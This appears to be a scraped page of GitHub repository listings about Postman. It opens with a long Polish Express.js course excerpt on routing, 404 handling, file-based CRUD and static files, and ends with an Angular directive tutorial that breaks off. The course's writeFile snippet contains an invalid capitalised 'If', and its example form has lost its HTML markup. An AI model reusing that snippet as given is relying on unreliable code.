umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
sportngin/postman-api-test
middleware, test, tests 		Postman API tests for middleware 0 stars 0 watchers 0 forks

tasks (11 listings) (Back to Top)

seswho/CyberArk_EPM_Postman_Collection
automat, automate, collection, console, customer, customers, document, documentation, enable, example, examples, form, task, tasks 		The CyberArk Endpoint Privilege Manager Web Services enable you to automate tasks that are usually performed manually in the EPM console. Available for both on-premise and SaaS customers. Postman collection has documentation and examples 2 stars 2 watchers 1 forks
cassiomolin/tasks-rest-api
managing, rest, task, tasks 		Sample REST API for managing tasks using Spring Boot, Jersey, Jackson, MapStruct, Hibernate Validator and REST Assured. 0 stars 0 watchers 5 forks
kyleweishaar-zz/JIRA-postman
bunch, collection, postman collection, runs, script, task, tasks 		A script that runs postman collection to build a bunch of JIRA tasks 0 stars 0 watchers 4 forks
jabelk/cisco-nso-postman
cisco, collection, common, generate, grant, sample, task, tasks 		A collection of sample NSO API calls for common tasks, also used to generate the Swagger Docs Examples. All created using the nso-vagrant set up. 1 stars 1 watchers 0 forks
Shaykoo/task-manager-api
address, auth, authenticate, authenticated, authentication, data, database, email, mail, manager, notify, require, required, send, sends, site, store, stores, task, tasks, test, user, users, website 		This app is purely based on NodeJS. This app is a task manager app which stores all the users and their tasks in MongoDB database with required authentication of the user to create, read, update and delete the users and their own particular tasks plus when a user gets created or deleted the app sends them email to notify. Use the website address to test it on postman. Get authenticated before using the app on postman. 1 stars 1 watchers 0 forks
jjian4/Task-Manager-API
account, auth, authentication, task, tasks, test, testing, token, tokens, user, users 		Create, read, update, delete users and tasks. Uses web tokens for account authentication. Built using Node.js, Express.js, and MongoDB/Mongoose. Used Postman for testing. 0 stars 0 watchers 0 forks
luxie11/note-app
application, creation, framework, note, saving, task, tasks, test, testing, user 		An API created for saving user tasks. For API testing used Postman. This API can be user for WEB application creation with React, Vue or any front-end framework. 0 stars 0 watchers 0 forks
5FMTB/Todo
connection, data, database, framework, list, local, modify, task, tasks 		API with local database connection (.NET Core, Entity framework). This project is a Todo list, where you can add, modify or delete tasks using postman. 0 stars 0 watchers 0 forks
AndrewJBateman/mean-task-manager
manager, mean, task, tasks, tutorial 		MEAN full-stack tutorial app to manage tasks. Frontend: Angular 9 0 stars 0 watchers 0 forks
ChrisSun99/SeeTheUnseen
assist, reading, task, tasks, user, users 		An Android app using Cloud OCR to assist text reading tasks for users with vision impairment. 0 stars 0 watchers 0 forks
mbMosman/serverside-tasks-with-sub-cat
action, data, database, object, objects, server, servers, serverside, task, tasks, transactions 		Serverside code only for a tasks database with subtasks and categories with Postman Tests. (Postgres/pg with JSON objects & transactions) 0 stars 0 watchers 0 forks

hibernate (11 listings) (Back to Top)

mgicode/mgicode-interface-test
boot, hibernate, interface, spring, spring boot, swagger, test 		把自动化接口测试和spring boot Controller层的单元测试相结合起来，根据hibernate validator和swagger ui定义的格式自动生成测试数据和测试用例，保证接口的参数的严格性，同时又可以通过简单的Json配置文件来生成业务测试用例，提供 postman、swaggerui、 rap相关接口测试的转换，既可作为单元测试来运行，也可以自动部署到Jenkins中做接口的自动化测试，提高开发测试的工作效率 6 stars 6 watchers 4 forks
dowglasmaia/api-backend--school-management
backend, changing, conducted, github, hibernate, http, https, school 		School Management System, audit with hibernate-envers, Test conducted with Postman. | front-end: https://github.com/dowglasmaia/school-management-front-end-Angular.gitDay: 15/08/2019 - changing repository to a Private, to continue the Project 1 stars 1 watchers 0 forks
ab199506/Employee-Management
application, hibernate, rest, spring 		CRUD application using spring rest ,hibernate, JSON ,PostMan 0 stars 0 watchers 0 forks
Mardiv-18/Rest-Api-TSF_NoobCoder
api blueprint, asyncapi, boot, hibernate, java, json schema, mysql, oauth, openid, rest, rest api, spring, spring boot, sql 		Task of building rest api with java, spring boot -mvc-hibernate , jpa, mysql, postman 0 stars 0 watchers 0 forks
paulgrimaldo/demo-spring-hibernate
api blueprint, asyncapi, hibernate, json schema, oauth, openid, spring, sql 		Ejemplo de SpringBoot, Hibernate, Mysql & Postman 0 stars 0 watchers 0 forks
genc4y10/spring-boot-crud
boot, crud, example, hibernate, spring, spring boot 		spring boot hibernate crud example with postman 0 stars 0 watchers 0 forks
Jespert88/FinalJavaTask
api blueprint, asyncapi, client, hibernate, java, json schema, mysql, oauth, openid, postgres, postgresql, spring, sql, task 		Final java task where i have to build a RESTful Api with Java + spring + hibernate + mysql/postgresql + client(HTML / Postman)) 0 stars 0 watchers 0 forks
LinkerFGzhang/webDemo
hibernate, spring 		springmvc + hibernate + postman 0 stars 0 watchers 0 forks
oksam90/springboot-crud-hibernate
boot, crud, hibernate, spring, springboot, test, tester 		Nous allons d'abord créer les API pour créer, récupérer, mettre à jour et supprimer un produit , puis les tester à l'aide de postman 0 stars 0 watchers 0 forks
soumyadip007/Employee-Relationship-CURD-Application-using-Spring-Boot-Thymeleaf-Hibernate-JPA-MVC
application, boot, hibernate, import, rest, restful, service, services, spring 		CRUD (Create, Read, Update and Delete) application is the most important application for creating any project. In spring Rest, we have developed this using Jackson,Postman and restful web services and along with this we have used Spring-boot ,JPA, Spring-Data-Rest and hibernate. 0 stars 0 watchers 0 forks
syedamanat/Maven-Spring-hibernate-docker
collection, collections, common, deploying, docker, function, functional, functionalities, hibernate, to do 		Developing common usage functionalities, REST-led with Postman collections and also deploying to docker. 0 stars 0 watchers 0 forks

posts (11 listings) (Back to Top)

tombaranowicz/PostManager
posts, schedule, twitter 		iOS Swift + Node.js app to manage and schedule twitter posts (like buffer) 0 stars 0 watchers 17 forks
RachellCalhoun/craftsite
django, ember, favorite, file, image, images, login, message, posts, profile, site, unit, upload 		This is a crafts and food community site. There is sign-up/login and out. Logged in members can message eachother with Postman-django app. All members create their own profile with image, and info. They can also upload favorite craft/food images, comment on others posts or ask questions. 1 stars 1 watchers 2 forks
jolie1191/Eng-Connector-React-Nodejs-Project
auth, authentication, backed, backend, dashborad, file, files, network, posts, profile, profiles, social, stat 		- A small social network with authentication, profiles, dashborad, posts - More Details: - Create backedn API with Node/Express - Test with Postman - Explore the Bootstrap Theme - Implement React and connect with the backend - Implement Redux for state management - Prepare, build & deploy to Heroku 1 stars 1 watchers 0 forks
MayMP/NodeJsExpressMongoDB
center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit 		This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. 1 stars 1 watchers 0 forks
brankozecevic/php_oop_rest_api
api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing 		This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. 0 stars 0 watchers 0 forks
binoysarker/lara-api
laravel, posts, stat, user, users 		My first REST API using laravel and Postman. I have worked with the users,posts,likes using different relational statement like polymorphic relation and i also use separate requests and policies with this. 0 stars 0 watchers 0 forks
dawidpolednik/DelfinagramAPP
data, friend, library, posts, technologies 		Application which allows you to manage your own posts/friends/data. This APP was based on React library with React-Router-DOM and Redux. Others technologies used in this project: Material UI, Postman, SASS(SCSS), Netlify 0 stars 0 watchers 0 forks
leo123nunes/Project3-WorkshopDatabase
banco, funciona, image, posts, projet, projeto, seguir, util, utilizando 		Olá, o projeto a seguir é um banco de dados que funciona para adicionar, deletar e encontrar posts e usuários de uma rede. Foi feito em Java com Spring Boot, e utilizando banco de dados NoSQL, com o Postman e MongoDB. O projeto possui uma pasta contendo as imagens do banco de dados quando finalizado em funcionamento. 0 stars 0 watchers 0 forks
leoleandrocin/postmanager-mongo
application, manager, mongo, posts, user 		Node application to user's posts management 0 stars 0 watchers 0 forks
naqvijafar91/blogideas
account, blog, posts, user, users 		Simple blog where users can create an account and create and view posts, Approval can be done via postman by hitting the api 0 stars 0 watchers 0 forks
VPihalov/Social-network
auth, authentication, developer, developers, file, files, forum, implementation, implementations, includes, network, posts, profile, profiles, social 		It is a social network app for developers that includes authentication, profiles, forum posts. App is based on MERN stack (MongoDB, Mongoose, React, Redux, Nodejs, Express). Main implementations are React Hooks, Redux, Postman, Bcrypt, Heroku, Git flow 0 stars 0 watchers 0 forks

following (11 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be 